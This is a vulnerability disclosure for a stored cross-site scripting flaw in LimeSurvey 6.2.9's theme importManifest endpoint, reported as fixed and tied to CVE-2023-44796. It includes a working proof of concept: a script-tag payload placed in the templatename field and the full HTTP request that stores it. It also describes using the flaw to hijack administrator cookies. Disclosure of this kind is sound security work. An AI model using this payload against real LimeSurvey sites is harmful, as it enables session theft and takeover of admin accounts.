LimeSurvey 6.2.9-230925 has a storage based XSS vulnerability caused by importManifest in limesurvey/limesurvey

[Hebing123]

LimeSurvey 6.2.9-230925 has a storage based XSS vulnerability caused by importManifest in limesurvey/limesurvey

Description

A regular user with "theme" privileges who maliciously sets the "templatename" during the importManifest process can lead to a stored Cross-Site Scripting (XSS) vulnerability.

Proof of Concept

The first step is to create a user with only 'theme' permission.
Log in to this user and make a request to/index.php/themeOptions/importManifest.
Payload:
"><script>alert(1)</script>//

Request:

POST /index.php/themeOptions/importManifest HTTP/1.1
Host: 192.168.160.130
Content-Length: 362
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.160.130
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQ5Fx3ILX1P8Y4aCx
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.160.130/index.php/themeOptions/index
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: []
Connection: close

------WebKitFormBoundaryQ5Fx3ILX1P8Y4aCx
Content-Disposition: form-data; name="YII_CSRF_TOKEN"

cEVmTmlNRXlqNVFBSl9qYnVGUmtjd2VZUHJtQ0F1UG5pEjQOU-SeXW7To0RH9_rPINh_thglgRaA23WdYDqjUA==
------WebKitFormBoundaryQ5Fx3ILX1P8Y4aCx
Content-Disposition: form-data; name="templatename"

123"><script>alert(1)</script>//
------WebKitFormBoundaryQ5Fx3ILX1P8Y4aCx--

When administrators or other users access http://192.168.160.130/index.php/themeOptions
When, it will be subjected to storage based XSS attacks.

Impact

Attackers can import a templatename containing a payload to execute JavaScript code and hijack the administrator’s cookie.

tiborpacalat marked this as fixed in 6.2.9+230925 with commit 135511 2 months ago

[Hebing123]

This is the vulnerability exploitation reference for CVE-2023-44796.